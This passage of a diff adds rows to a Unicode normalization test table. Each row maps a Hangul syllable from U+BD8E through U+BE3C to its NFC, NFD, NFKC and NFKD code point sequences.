+{ source: [0xBD8E], NFC: [0xBD8E], NFD: [0x1107, 0x116E, 0x11B5], NFKC: [0xBD8E], NFKD: [0x1107, 0x116E, 0x11B5] },
+{ source: [0xBD8F], NFC: [0xBD8F], NFD: [0x1107, 0x116E, 0x11B6], NFKC: [0xBD8F], NFKD: [0x1107, 0x116E, 0x11B6] },
+{ source: [0xBD90], NFC: [0xBD90], NFD: [0x1107, 0x116E, 0x11B7], NFKC: [0xBD90], NFKD: [0x1107, 0x116E, 0x11B7] },
+{ source: [0xBD91], NFC: [0xBD91], NFD: [0x1107, 0x116E, 0x11B8], NFKC: [0xBD91], NFKD: [0x1107, 0x116E, 0x11B8] },
+{ source: [0xBD92], NFC: [0xBD92], NFD: [0x1107, 0x116E, 0x11B9], NFKC: [0xBD92], NFKD: [0x1107, 0x116E, 0x11B9] },
+{ source: [0xBD93], NFC: [0xBD93], NFD: [0x1107, 0x116E, 0x11BA], NFKC: [0xBD93], NFKD: [0x1107, 0x116E, 0x11BA] },
+{ source: [0xBD94], NFC: [0xBD94], NFD: [0x1107, 0x116E, 0x11BB], NFKC: [0xBD94], NFKD: [0x1107, 0x116E, 0x11BB] },
+{ source: [0xBD95], NFC: [0xBD95], NFD: [0x1107, 0x116E, 0x11BC], NFKC: [0xBD95], NFKD: [0x1107, 0x116E, 0x11BC] },
+{ source: [0xBD96], NFC: [0xBD96], NFD: [0x1107, 0x116E, 0x11BD], NFKC: [0xBD96], NFKD: [0x1107, 0x116E, 0x11BD] },
+{ source: [0xBD97], NFC: [0xBD97], NFD: [0x1107, 0x116E, 0x11BE], NFKC: [0xBD97], NFKD: [0x1107, 0x116E, 0x11BE] },
+{ source: [0xBD98], NFC: [0xBD98], NFD: [0x1107, 0x116E, 0x11BF], NFKC: [0xBD98], NFKD: [0x1107, 0x116E, 0x11BF] },
+{ source: [0xBD99], NFC: [0xBD99], NFD: [0x1107, 0x116E, 0x11C0], NFKC: [0xBD99], NFKD: [0x1107, 0x116E, 0x11C0] },
+{ source: [0xBD9A], NFC: [0xBD9A], NFD: [0x1107, 0x116E, 0x11C1], NFKC: [0xBD9A], NFKD: [0x1107, 0x116E, 0x11C1] },
+{ source: [0xBD9B], NFC: [0xBD9B], NFD: [0x1107, 0x116E, 0x11C2], NFKC: [0xBD9B], NFKD: [0x1107, 0x116E, 0x11C2] },
+{ source: [0xBD9C], NFC: [0xBD9C], NFD: [0x1107, 0x116F], NFKC: [0xBD9C], NFKD: [0x1107, 0x116F] },
+{ source: [0xBD9D], NFC: [0xBD9D], NFD: [0x1107, 0x116F, 0x11A8], NFKC: [0xBD9D], NFKD: [0x1107, 0x116F, 0x11A8] },
+{ source: [0xBD9E], NFC: [0xBD9E], NFD: [0x1107, 0x116F, 0x11A9], NFKC: [0xBD9E], NFKD: [0x1107, 0x116F, 0x11A9] },
+{ source: [0xBD9F], NFC: [0xBD9F], NFD: [0x1107, 0x116F, 0x11AA], NFKC: [0xBD9F], NFKD: [0x1107, 0x116F, 0x11AA] },
+{ source: [0xBDA0], NFC: [0xBDA0], NFD: [0x1107, 0x116F, 0x11AB], NFKC: [0xBDA0], NFKD: [0x1107, 0x116F, 0x11AB] },
+{ source: [0xBDA1], NFC: [0xBDA1], NFD: [0x1107, 0x116F, 0x11AC], NFKC: [0xBDA1], NFKD: [0x1107, 0x116F, 0x11AC] },
+{ source: [0xBDA2], NFC: [0xBDA2], NFD: [0x1107, 0x116F, 0x11AD], NFKC: [0xBDA2], NFKD: [0x1107, 0x116F, 0x11AD] },
+{ source: [0xBDA3], NFC: [0xBDA3], NFD: [0x1107, 0x116F, 0x11AE], NFKC: [0xBDA3], NFKD: [0x1107, 0x116F, 0x11AE] },
+{ source: [0xBDA4], NFC: [0xBDA4], NFD: [0x1107, 0x116F, 0x11AF], NFKC: [0xBDA4], NFKD: [0x1107, 0x116F, 0x11AF] },
+{ source: [0xBDA5], NFC: [0xBDA5], NFD: [0x1107, 0x116F, 0x11B0], NFKC: [0xBDA5], NFKD: [0x1107, 0x116F, 0x11B0] },
+{ source: [0xBDA6], NFC: [0xBDA6], NFD: [0x1107, 0x116F, 0x11B1], NFKC: [0xBDA6], NFKD: [0x1107, 0x116F, 0x11B1] },
+{ source: [0xBDA7], NFC: [0xBDA7], NFD: [0x1107, 0x116F, 0x11B2], NFKC: [0xBDA7], NFKD: [0x1107, 0x116F, 0x11B2] },
+{ source: [0xBDA8], NFC: [0xBDA8], NFD: [0x1107, 0x116F, 0x11B3], NFKC: [0xBDA8], NFKD: [0x1107, 0x116F, 0x11B3] },
+{ source: [0xBDA9], NFC: [0xBDA9], NFD: [0x1107, 0x116F, 0x11B4], NFKC: [0xBDA9], NFKD: [0x1107, 0x116F, 0x11B4] },
+{ source: [0xBDAA], NFC: [0xBDAA], NFD: [0x1107, 0x116F, 0x11B5], NFKC: [0xBDAA], NFKD: [0x1107, 0x116F, 0x11B5] },
+{ source: [0xBDAB], NFC: [0xBDAB], NFD: [0x1107, 0x116F, 0x11B6], NFKC: [0xBDAB], NFKD: [0x1107, 0x116F, 0x11B6] },
+{ source: [0xBDAC], NFC: [0xBDAC], NFD: [0x1107, 0x116F, 0x11B7], NFKC: [0xBDAC], NFKD: [0x1107, 0x116F, 0x11B7] },
+{ source: [0xBDAD], NFC: [0xBDAD], NFD: [0x1107, 0x116F, 0x11B8], NFKC: [0xBDAD], NFKD: [0x1107, 0x116F, 0x11B8] },
+{ source: [0xBDAE], NFC: [0xBDAE], NFD: [0x1107, 0x116F, 0x11B9], NFKC: [0xBDAE], NFKD: [0x1107, 0x116F, 0x11B9] },
+{ source: [0xBDAF], NFC: [0xBDAF], NFD: [0x1107, 0x116F, 0x11BA], NFKC: [0xBDAF], NFKD: [0x1107, 0x116F, 0x11BA] },
+{ source: [0xBDB0], NFC: [0xBDB0], NFD: [0x1107, 0x116F, 0x11BB], NFKC: [0xBDB0], NFKD: [0x1107, 0x116F, 0x11BB] },
+{ source: [0xBDB1], NFC: [0xBDB1], NFD: [0x1107, 0x116F, 0x11BC], NFKC: [0xBDB1], NFKD: [0x1107, 0x116F, 0x11BC] },
+{ source: [0xBDB2], NFC: [0xBDB2], NFD: [0x1107, 0x116F, 0x11BD], NFKC: [0xBDB2], NFKD: [0x1107, 0x116F, 0x11BD] },
+{ source: [0xBDB3], NFC: [0xBDB3], NFD: [0x1107, 0x116F, 0x11BE], NFKC: [0xBDB3], NFKD: [0x1107, 0x116F, 0x11BE] },
+{ source: [0xBDB4], NFC: [0xBDB4], NFD: [0x1107, 0x116F, 0x11BF], NFKC: [0xBDB4], NFKD: [0x1107, 0x116F, 0x11BF] },
+{ source: [0xBDB5], NFC: [0xBDB5], NFD: [0x1107, 0x116F, 0x11C0], NFKC: [0xBDB5], NFKD: [0x1107, 0x116F, 0x11C0] },
+{ source: [0xBDB6], NFC: [0xBDB6], NFD: [0x1107, 0x116F, 0x11C1], NFKC: [0xBDB6], NFKD: [0x1107, 0x116F, 0x11C1] },
+{ source: [0xBDB7], NFC: [0xBDB7], NFD: [0x1107, 0x116F, 0x11C2], NFKC: [0xBDB7], NFKD: [0x1107, 0x116F, 0x11C2] },
+{ source: [0xBDB8], NFC: [0xBDB8], NFD: [0x1107, 0x1170], NFKC: [0xBDB8], NFKD: [0x1107, 0x1170] },
+{ source: [0xBDB9], NFC: [0xBDB9], NFD: [0x1107, 0x1170, 0x11A8], NFKC: [0xBDB9], NFKD: [0x1107, 0x1170, 0x11A8] },
+{ source: [0xBDBA], NFC: [0xBDBA], NFD: [0x1107, 0x1170, 0x11A9], NFKC: [0xBDBA], NFKD: [0x1107, 0x1170, 0x11A9] },
+{ source: [0xBDBB], NFC: [0xBDBB], NFD: [0x1107, 0x1170, 0x11AA], NFKC: [0xBDBB], NFKD: [0x1107, 0x1170, 0x11AA] },
+{ source: [0xBDBC], NFC: [0xBDBC], NFD: [0x1107, 0x1170, 0x11AB], NFKC: [0xBDBC], NFKD: [0x1107, 0x1170, 0x11AB] },
+{ source: [0xBDBD], NFC: [0xBDBD], NFD: [0x1107, 0x1170, 0x11AC], NFKC: [0xBDBD], NFKD: [0x1107, 0x1170, 0x11AC] },
+{ source: [0xBDBE], NFC: [0xBDBE], NFD: [0x1107, 0x1170, 0x11AD], NFKC: [0xBDBE], NFKD: [0x1107, 0x1170, 0x11AD] },
+{ source: [0xBDBF], NFC: [0xBDBF], NFD: [0x1107, 0x1170, 0x11AE], NFKC: [0xBDBF], NFKD: [0x1107, 0x1170, 0x11AE] },
+{ source: [0xBDC0], NFC: [0xBDC0], NFD: [0x1107, 0x1170, 0x11AF], NFKC: [0xBDC0], NFKD: [0x1107, 0x1170, 0x11AF] },
+{ source: [0xBDC1], NFC: [0xBDC1], NFD: [0x1107, 0x1170, 0x11B0], NFKC: [0xBDC1], NFKD: [0x1107, 0x1170, 0x11B0] },
+{ source: [0xBDC2], NFC: [0xBDC2], NFD: [0x1107, 0x1170, 0x11B1], NFKC: [0xBDC2], NFKD: [0x1107, 0x1170, 0x11B1] },
+{ source: [0xBDC3], NFC: [0xBDC3], NFD: [0x1107, 0x1170, 0x11B2], NFKC: [0xBDC3], NFKD: [0x1107, 0x1170, 0x11B2] },
+{ source: [0xBDC4], NFC: [0xBDC4], NFD: [0x1107, 0x1170, 0x11B3], NFKC: [0xBDC4], NFKD: [0x1107, 0x1170, 0x11B3] },
+{ source: [0xBDC5], NFC: [0xBDC5], NFD: [0x1107, 0x1170, 0x11B4], NFKC: [0xBDC5], NFKD: [0x1107, 0x1170, 0x11B4] },
+{ source: [0xBDC6], NFC: [0xBDC6], NFD: [0x1107, 0x1170, 0x11B5], NFKC: [0xBDC6], NFKD: [0x1107, 0x1170, 0x11B5] },
+{ source: [0xBDC7], NFC: [0xBDC7], NFD: [0x1107, 0x1170, 0x11B6], NFKC: [0xBDC7], NFKD: [0x1107, 0x1170, 0x11B6] },
+{ source: [0xBDC8], NFC: [0xBDC8], NFD: [0x1107, 0x1170, 0x11B7], NFKC: [0xBDC8], NFKD: [0x1107, 0x1170, 0x11B7] },
+{ source: [0xBDC9], NFC: [0xBDC9], NFD: [0x1107, 0x1170, 0x11B8], NFKC: [0xBDC9], NFKD: [0x1107, 0x1170, 0x11B8] },
+{ source: [0xBDCA], NFC: [0xBDCA], NFD: [0x1107, 0x1170, 0x11B9], NFKC: [0xBDCA], NFKD: [0x1107, 0x1170, 0x11B9] },
+{ source: [0xBDCB], NFC: [0xBDCB], NFD: [0x1107, 0x1170, 0x11BA], NFKC: [0xBDCB], NFKD: [0x1107, 0x1170, 0x11BA] },
+{ source: [0xBDCC], NFC: [0xBDCC], NFD: [0x1107, 0x1170, 0x11BB], NFKC: [0xBDCC], NFKD: [0x1107, 0x1170, 0x11BB] },
+{ source: [0xBDCD], NFC: [0xBDCD], NFD: [0x1107, 0x1170, 0x11BC], NFKC: [0xBDCD], NFKD: [0x1107, 0x1170, 0x11BC] },
+{ source: [0xBDCE], NFC: [0xBDCE], NFD: [0x1107, 0x1170, 0x11BD], NFKC: [0xBDCE], NFKD: [0x1107, 0x1170, 0x11BD] },
+{ source: [0xBDCF], NFC: [0xBDCF], NFD: [0x1107, 0x1170, 0x11BE], NFKC: [0xBDCF], NFKD: [0x1107, 0x1170, 0x11BE] },
+{ source: [0xBDD0], NFC: [0xBDD0], NFD: [0x1107, 0x1170, 0x11BF], NFKC: [0xBDD0], NFKD: [0x1107, 0x1170, 0x11BF] },
+{ source: [0xBDD1], NFC: [0xBDD1], NFD: [0x1107, 0x1170, 0x11C0], NFKC: [0xBDD1], NFKD: [0x1107, 0x1170, 0x11C0] },
+{ source: [0xBDD2], NFC: [0xBDD2], NFD: [0x1107, 0x1170, 0x11C1], NFKC: [0xBDD2], NFKD: [0x1107, 0x1170, 0x11C1] },
+{ source: [0xBDD3], NFC: [0xBDD3], NFD: [0x1107, 0x1170, 0x11C2], NFKC: [0xBDD3], NFKD: [0x1107, 0x1170, 0x11C2] },
+{ source: [0xBDD4], NFC: [0xBDD4], NFD: [0x1107, 0x1171], NFKC: [0xBDD4], NFKD: [0x1107, 0x1171] },
+{ source: [0xBDD5], NFC: [0xBDD5], NFD: [0x1107, 0x1171, 0x11A8], NFKC: [0xBDD5], NFKD: [0x1107, 0x1171, 0x11A8] },
+{ source: [0xBDD6], NFC: [0xBDD6], NFD: [0x1107, 0x1171, 0x11A9], NFKC: [0xBDD6], NFKD: [0x1107, 0x1171, 0x11A9] },
+{ source: [0xBDD7], NFC: [0xBDD7], NFD: [0x1107, 0x1171, 0x11AA], NFKC: [0xBDD7], NFKD: [0x1107, 0x1171, 0x11AA] },
+{ source: [0xBDD8], NFC: [0xBDD8], NFD: [0x1107, 0x1171, 0x11AB], NFKC: [0xBDD8], NFKD: [0x1107, 0x1171, 0x11AB] },
+{ source: [0xBDD9], NFC: [0xBDD9], NFD: [0x1107, 0x1171, 0x11AC], NFKC: [0xBDD9], NFKD: [0x1107, 0x1171, 0x11AC] },
+{ source: [0xBDDA], NFC: [0xBDDA], NFD: [0x1107, 0x1171, 0x11AD], NFKC: [0xBDDA], NFKD: [0x1107, 0x1171, 0x11AD] },
+{ source: [0xBDDB], NFC: [0xBDDB], NFD: [0x1107, 0x1171, 0x11AE], NFKC: [0xBDDB], NFKD: [0x1107, 0x1171, 0x11AE] },
+{ source: [0xBDDC], NFC: [0xBDDC], NFD: [0x1107, 0x1171, 0x11AF], NFKC: [0xBDDC], NFKD: [0x1107, 0x1171, 0x11AF] },
+{ source: [0xBDDD], NFC: [0xBDDD], NFD: [0x1107, 0x1171, 0x11B0], NFKC: [0xBDDD], NFKD: [0x1107, 0x1171, 0x11B0] },
+{ source: [0xBDDE], NFC: [0xBDDE], NFD: [0x1107, 0x1171, 0x11B1], NFKC: [0xBDDE], NFKD: [0x1107, 0x1171, 0x11B1] },
+{ source: [0xBDDF], NFC: [0xBDDF], NFD: [0x1107, 0x1171, 0x11B2], NFKC: [0xBDDF], NFKD: [0x1107, 0x1171, 0x11B2] },
+{ source: [0xBDE0], NFC: [0xBDE0], NFD: [0x1107, 0x1171, 0x11B3], NFKC: [0xBDE0], NFKD: [0x1107, 0x1171, 0x11B3] },
+{ source: [0xBDE1], NFC: [0xBDE1], NFD: [0x1107, 0x1171, 0x11B4], NFKC: [0xBDE1], NFKD: [0x1107, 0x1171, 0x11B4] },
+{ source: [0xBDE2], NFC: [0xBDE2], NFD: [0x1107, 0x1171, 0x11B5], NFKC: [0xBDE2], NFKD: [0x1107, 0x1171, 0x11B5] },
+{ source: [0xBDE3], NFC: [0xBDE3], NFD: [0x1107, 0x1171, 0x11B6], NFKC: [0xBDE3], NFKD: [0x1107, 0x1171, 0x11B6] },
+{ source: [0xBDE4], NFC: [0xBDE4], NFD: [0x1107, 0x1171, 0x11B7], NFKC: [0xBDE4], NFKD: [0x1107, 0x1171, 0x11B7] },
+{ source: [0xBDE5], NFC: [0xBDE5], NFD: [0x1107, 0x1171, 0x11B8], NFKC: [0xBDE5], NFKD: [0x1107, 0x1171, 0x11B8] },
+{ source: [0xBDE6], NFC: [0xBDE6], NFD: [0x1107, 0x1171, 0x11B9], NFKC: [0xBDE6], NFKD: [0x1107, 0x1171, 0x11B9] },
+{ source: [0xBDE7], NFC: [0xBDE7], NFD: [0x1107, 0x1171, 0x11BA], NFKC: [0xBDE7], NFKD: [0x1107, 0x1171, 0x11BA] },
+{ source: [0xBDE8], NFC: [0xBDE8], NFD: [0x1107, 0x1171, 0x11BB], NFKC: [0xBDE8], NFKD: [0x1107, 0x1171, 0x11BB] },
+{ source: [0xBDE9], NFC: [0xBDE9], NFD: [0x1107, 0x1171, 0x11BC], NFKC: [0xBDE9], NFKD: [0x1107, 0x1171, 0x11BC] },
+{ source: [0xBDEA], NFC: [0xBDEA], NFD: [0x1107, 0x1171, 0x11BD], NFKC: [0xBDEA], NFKD: [0x1107, 0x1171, 0x11BD] },
+{ source: [0xBDEB], NFC: [0xBDEB], NFD: [0x1107, 0x1171, 0x11BE], NFKC: [0xBDEB], NFKD: [0x1107, 0x1171, 0x11BE] },
+{ source: [0xBDEC], NFC: [0xBDEC], NFD: [0x1107, 0x1171, 0x11BF], NFKC: [0xBDEC], NFKD: [0x1107, 0x1171, 0x11BF] },
+{ source: [0xBDED], NFC: [0xBDED], NFD: [0x1107, 0x1171, 0x11C0], NFKC: [0xBDED], NFKD: [0x1107, 0x1171, 0x11C0] },
+{ source: [0xBDEE], NFC: [0xBDEE], NFD: [0x1107, 0x1171, 0x11C1], NFKC: [0xBDEE], NFKD: [0x1107, 0x1171, 0x11C1] },
+{ source: [0xBDEF], NFC: [0xBDEF], NFD: [0x1107, 0x1171, 0x11C2], NFKC: [0xBDEF], NFKD: [0x1107, 0x1171, 0x11C2] },
+{ source: [0xBDF0], NFC: [0xBDF0], NFD: [0x1107, 0x1172], NFKC: [0xBDF0], NFKD: [0x1107, 0x1172] },
+{ source: [0xBDF1], NFC: [0xBDF1], NFD: [0x1107, 0x1172, 0x11A8], NFKC: [0xBDF1], NFKD: [0x1107, 0x1172, 0x11A8] },
+{ source: [0xBDF2], NFC: [0xBDF2], NFD: [0x1107, 0x1172, 0x11A9], NFKC: [0xBDF2], NFKD: [0x1107, 0x1172, 0x11A9] },
+{ source: [0xBDF3], NFC: [0xBDF3], NFD: [0x1107, 0x1172, 0x11AA], NFKC: [0xBDF3], NFKD: [0x1107, 0x1172, 0x11AA] },
+{ source: [0xBDF4], NFC: [0xBDF4], NFD: [0x1107, 0x1172, 0x11AB], NFKC: [0xBDF4], NFKD: [0x1107, 0x1172, 0x11AB] },
+{ source: [0xBDF5], NFC: [0xBDF5], NFD: [0x1107, 0x1172, 0x11AC], NFKC: [0xBDF5], NFKD: [0x1107, 0x1172, 0x11AC] },
+{ source: [0xBDF6], NFC: [0xBDF6], NFD: [0x1107, 0x1172, 0x11AD], NFKC: [0xBDF6], NFKD: [0x1107, 0x1172, 0x11AD] },
+{ source: [0xBDF7], NFC: [0xBDF7], NFD: [0x1107, 0x1172, 0x11AE], NFKC: [0xBDF7], NFKD: [0x1107, 0x1172, 0x11AE] },
+{ source: [0xBDF8], NFC: [0xBDF8], NFD: [0x1107, 0x1172, 0x11AF], NFKC: [0xBDF8], NFKD: [0x1107, 0x1172, 0x11AF] },
+{ source: [0xBDF9], NFC: [0xBDF9], NFD: [0x1107, 0x1172, 0x11B0], NFKC: [0xBDF9], NFKD: [0x1107, 0x1172, 0x11B0] },
+{ source: [0xBDFA], NFC: [0xBDFA], NFD: [0x1107, 0x1172, 0x11B1], NFKC: [0xBDFA], NFKD: [0x1107, 0x1172, 0x11B1] },
+{ source: [0xBDFB], NFC: [0xBDFB], NFD: [0x1107, 0x1172, 0x11B2], NFKC: [0xBDFB], NFKD: [0x1107, 0x1172, 0x11B2] },
+{ source: [0xBDFC], NFC: [0xBDFC], NFD: [0x1107, 0x1172, 0x11B3], NFKC: [0xBDFC], NFKD: [0x1107, 0x1172, 0x11B3] },
+{ source: [0xBDFD], NFC: [0xBDFD], NFD: [0x1107, 0x1172, 0x11B4], NFKC: [0xBDFD], NFKD: [0x1107, 0x1172, 0x11B4] },
+{ source: [0xBDFE], NFC: [0xBDFE], NFD: [0x1107, 0x1172, 0x11B5], NFKC: [0xBDFE], NFKD: [0x1107, 0x1172, 0x11B5] },
+{ source: [0xBDFF], NFC: [0xBDFF], NFD: [0x1107, 0x1172, 0x11B6], NFKC: [0xBDFF], NFKD: [0x1107, 0x1172, 0x11B6] },
+{ source: [0xBE00], NFC: [0xBE00], NFD: [0x1107, 0x1172, 0x11B7], NFKC: [0xBE00], NFKD: [0x1107, 0x1172, 0x11B7] },
+{ source: [0xBE01], NFC: [0xBE01], NFD: [0x1107, 0x1172, 0x11B8], NFKC: [0xBE01], NFKD: [0x1107, 0x1172, 0x11B8] },
+{ source: [0xBE02], NFC: [0xBE02], NFD: [0x1107, 0x1172, 0x11B9], NFKC: [0xBE02], NFKD: [0x1107, 0x1172, 0x11B9] },
+{ source: [0xBE03], NFC: [0xBE03], NFD: [0x1107, 0x1172, 0x11BA], NFKC: [0xBE03], NFKD: [0x1107, 0x1172, 0x11BA] },
+{ source: [0xBE04], NFC: [0xBE04], NFD: [0x1107, 0x1172, 0x11BB], NFKC: [0xBE04], NFKD: [0x1107, 0x1172, 0x11BB] },
+{ source: [0xBE05], NFC: [0xBE05], NFD: [0x1107, 0x1172, 0x11BC], NFKC: [0xBE05], NFKD: [0x1107, 0x1172, 0x11BC] },
+{ source: [0xBE06], NFC: [0xBE06], NFD: [0x1107, 0x1172, 0x11BD], NFKC: [0xBE06], NFKD: [0x1107, 0x1172, 0x11BD] },
+{ source: [0xBE07], NFC: [0xBE07], NFD: [0x1107, 0x1172, 0x11BE], NFKC: [0xBE07], NFKD: [0x1107, 0x1172, 0x11BE] },
+{ source: [0xBE08], NFC: [0xBE08], NFD: [0x1107, 0x1172, 0x11BF], NFKC: [0xBE08], NFKD: [0x1107, 0x1172, 0x11BF] },
+{ source: [0xBE09], NFC: [0xBE09], NFD: [0x1107, 0x1172, 0x11C0], NFKC: [0xBE09], NFKD: [0x1107, 0x1172, 0x11C0] },
+{ source: [0xBE0A], NFC: [0xBE0A], NFD: [0x1107, 0x1172, 0x11C1], NFKC: [0xBE0A], NFKD: [0x1107, 0x1172, 0x11C1] },
+{ source: [0xBE0B], NFC: [0xBE0B], NFD: [0x1107, 0x1172, 0x11C2], NFKC: [0xBE0B], NFKD: [0x1107, 0x1172, 0x11C2] },
+{ source: [0xBE0C], NFC: [0xBE0C], NFD: [0x1107, 0x1173], NFKC: [0xBE0C], NFKD: [0x1107, 0x1173] },
+{ source: [0xBE0D], NFC: [0xBE0D], NFD: [0x1107, 0x1173, 0x11A8], NFKC: [0xBE0D], NFKD: [0x1107, 0x1173, 0x11A8] },
+{ source: [0xBE0E], NFC: [0xBE0E], NFD: [0x1107, 0x1173, 0x11A9], NFKC: [0xBE0E], NFKD: [0x1107, 0x1173, 0x11A9] },
+{ source: [0xBE0F], NFC: [0xBE0F], NFD: [0x1107, 0x1173, 0x11AA], NFKC: [0xBE0F], NFKD: [0x1107, 0x1173, 0x11AA] },
+{ source: [0xBE10], NFC: [0xBE10], NFD: [0x1107, 0x1173, 0x11AB], NFKC: [0xBE10], NFKD: [0x1107, 0x1173, 0x11AB] },
+{ source: [0xBE11], NFC: [0xBE11], NFD: [0x1107, 0x1173, 0x11AC], NFKC: [0xBE11], NFKD: [0x1107, 0x1173, 0x11AC] },
+{ source: [0xBE12], NFC: [0xBE12], NFD: [0x1107, 0x1173, 0x11AD], NFKC: [0xBE12], NFKD: [0x1107, 0x1173, 0x11AD] },
+{ source: [0xBE13], NFC: [0xBE13], NFD: [0x1107, 0x1173, 0x11AE], NFKC: [0xBE13], NFKD: [0x1107, 0x1173, 0x11AE] },
+{ source: [0xBE14], NFC: [0xBE14], NFD: [0x1107, 0x1173, 0x11AF], NFKC: [0xBE14], NFKD: [0x1107, 0x1173, 0x11AF] },
+{ source: [0xBE15], NFC: [0xBE15], NFD: [0x1107, 0x1173, 0x11B0], NFKC: [0xBE15], NFKD: [0x1107, 0x1173, 0x11B0] },
+{ source: [0xBE16], NFC: [0xBE16], NFD: [0x1107, 0x1173, 0x11B1], NFKC: [0xBE16], NFKD: [0x1107, 0x1173, 0x11B1] },
+{ source: [0xBE17], NFC: [0xBE17], NFD: [0x1107, 0x1173, 0x11B2], NFKC: [0xBE17], NFKD: [0x1107, 0x1173, 0x11B2] },
+{ source: [0xBE18], NFC: [0xBE18], NFD: [0x1107, 0x1173, 0x11B3], NFKC: [0xBE18], NFKD: [0x1107, 0x1173, 0x11B3] },
+{ source: [0xBE19], NFC: [0xBE19], NFD: [0x1107, 0x1173, 0x11B4], NFKC: [0xBE19], NFKD: [0x1107, 0x1173, 0x11B4] },
+{ source: [0xBE1A], NFC: [0xBE1A], NFD: [0x1107, 0x1173, 0x11B5], NFKC: [0xBE1A], NFKD: [0x1107, 0x1173, 0x11B5] },
+{ source: [0xBE1B], NFC: [0xBE1B], NFD: [0x1107, 0x1173, 0x11B6], NFKC: [0xBE1B], NFKD: [0x1107, 0x1173, 0x11B6] },
+{ source: [0xBE1C], NFC: [0xBE1C], NFD: [0x1107, 0x1173, 0x11B7], NFKC: [0xBE1C], NFKD: [0x1107, 0x1173, 0x11B7] },
+{ source: [0xBE1D], NFC: [0xBE1D], NFD: [0x1107, 0x1173, 0x11B8], NFKC: [0xBE1D], NFKD: [0x1107, 0x1173, 0x11B8] },
+{ source: [0xBE1E], NFC: [0xBE1E], NFD: [0x1107, 0x1173, 0x11B9], NFKC: [0xBE1E], NFKD: [0x1107, 0x1173, 0x11B9] },
+{ source: [0xBE1F], NFC: [0xBE1F], NFD: [0x1107, 0x1173, 0x11BA], NFKC: [0xBE1F], NFKD: [0x1107, 0x1173, 0x11BA] },
+{ source: [0xBE20], NFC: [0xBE20], NFD: [0x1107, 0x1173, 0x11BB], NFKC: [0xBE20], NFKD: [0x1107, 0x1173, 0x11BB] },
+{ source: [0xBE21], NFC: [0xBE21], NFD: [0x1107, 0x1173, 0x11BC], NFKC: [0xBE21], NFKD: [0x1107, 0x1173, 0x11BC] },
+{ source: [0xBE22], NFC: [0xBE22], NFD: [0x1107, 0x1173, 0x11BD], NFKC: [0xBE22], NFKD: [0x1107, 0x1173, 0x11BD] },
+{ source: [0xBE23], NFC: [0xBE23], NFD: [0x1107, 0x1173, 0x11BE], NFKC: [0xBE23], NFKD: [0x1107, 0x1173, 0x11BE] },
+{ source: [0xBE24], NFC: [0xBE24], NFD: [0x1107, 0x1173, 0x11BF], NFKC: [0xBE24], NFKD: [0x1107, 0x1173, 0x11BF] },
+{ source: [0xBE25], NFC: [0xBE25], NFD: [0x1107, 0x1173, 0x11C0], NFKC: [0xBE25], NFKD: [0x1107, 0x1173, 0x11C0] },
+{ source: [0xBE26], NFC: [0xBE26], NFD: [0x1107, 0x1173, 0x11C1], NFKC: [0xBE26], NFKD: [0x1107, 0x1173, 0x11C1] },
+{ source: [0xBE27], NFC: [0xBE27], NFD: [0x1107, 0x1173, 0x11C2], NFKC: [0xBE27], NFKD: [0x1107, 0x1173, 0x11C2] },
+{ source: [0xBE28], NFC: [0xBE28], NFD: [0x1107, 0x1174], NFKC: [0xBE28], NFKD: [0x1107, 0x1174] },
+{ source: [0xBE29], NFC: [0xBE29], NFD: [0x1107, 0x1174, 0x11A8], NFKC: [0xBE29], NFKD: [0x1107, 0x1174, 0x11A8] },
+{ source: [0xBE2A], NFC: [0xBE2A], NFD: [0x1107, 0x1174, 0x11A9], NFKC: [0xBE2A], NFKD: [0x1107, 0x1174, 0x11A9] },
+{ source: [0xBE2B], NFC: [0xBE2B], NFD: [0x1107, 0x1174, 0x11AA], NFKC: [0xBE2B], NFKD: [0x1107, 0x1174, 0x11AA] },
+{ source: [0xBE2C], NFC: [0xBE2C], NFD: [0x1107, 0x1174, 0x11AB], NFKC: [0xBE2C], NFKD: [0x1107, 0x1174, 0x11AB] },
+{ source: [0xBE2D], NFC: [0xBE2D], NFD: [0x1107, 0x1174, 0x11AC], NFKC: [0xBE2D], NFKD: [0x1107, 0x1174, 0x11AC] },
+{ source: [0xBE2E], NFC: [0xBE2E], NFD: [0x1107, 0x1174, 0x11AD], NFKC: [0xBE2E], NFKD: [0x1107, 0x1174, 0x11AD] },
+{ source: [0xBE2F], NFC: [0xBE2F], NFD: [0x1107, 0x1174, 0x11AE], NFKC: [0xBE2F], NFKD: [0x1107, 0x1174, 0x11AE] },
+{ source: [0xBE30], NFC: [0xBE30], NFD: [0x1107, 0x1174, 0x11AF], NFKC: [0xBE30], NFKD: [0x1107, 0x1174, 0x11AF] },
+{ source: [0xBE31], NFC: [0xBE31], NFD: [0x1107, 0x1174, 0x11B0], NFKC: [0xBE31], NFKD: [0x1107, 0x1174, 0x11B0] },
+{ source: [0xBE32], NFC: [0xBE32], NFD: [0x1107, 0x1174, 0x11B1], NFKC: [0xBE32], NFKD: [0x1107, 0x1174, 0x11B1] },
+{ source: [0xBE33], NFC: [0xBE33], NFD: [0x1107, 0x1174, 0x11B2], NFKC: [0xBE33], NFKD: [0x1107, 0x1174, 0x11B2] },
+{ source: [0xBE34], NFC: [0xBE34], NFD: [0x1107, 0x1174, 0x11B3], NFKC: [0xBE34], NFKD: [0x1107, 0x1174, 0x11B3] },
+{ source: [0xBE35], NFC: [0xBE35], NFD: [0x1107, 0x1174, 0x11B4], NFKC: [0xBE35], NFKD: [0x1107, 0x1174, 0x11B4] },
+{ source: [0xBE36], NFC: [0xBE36], NFD: [0x1107, 0x1174, 0x11B5], NFKC: [0xBE36], NFKD: [0x1107, 0x1174, 0x11B5] },
+{ source: [0xBE37], NFC: [0xBE37], NFD: [0x1107, 0x1174, 0x11B6], NFKC: [0xBE37], NFKD: [0x1107, 0x1174, 0x11B6] },
+{ source: [0xBE38], NFC: [0xBE38], NFD: [0x1107, 0x1174, 0x11B7], NFKC: [0xBE38], NFKD: [0x1107, 0x1174, 0x11B7] },
+{ source: [0xBE39], NFC: [0xBE39], NFD: [0x1107, 0x1174, 0x11B8], NFKC: [0xBE39], NFKD: [0x1107, 0x1174, 0x11B8] },
+{ source: [0xBE3A], NFC: [0xBE3A], NFD: [0x1107, 0x1174, 0x11B9], NFKC: [0xBE3A], NFKD: [0x1107, 0x1174, 0x11B9] },
+{ source: [0xBE3B], NFC: [0xBE3B], NFD: [0x1107, 0x1174, 0x11BA], NFKC: [0xBE3B], NFKD: [0x1107, 0x1174, 0x11BA] },
+{ source: [0xBE3C], NFC: [0xBE3C], NFD: [0x1107, 0x1174, 0x11BB], NFKC: [0xBE3C], NFKD: [0x1107, 0x1174, 0x11BB] },
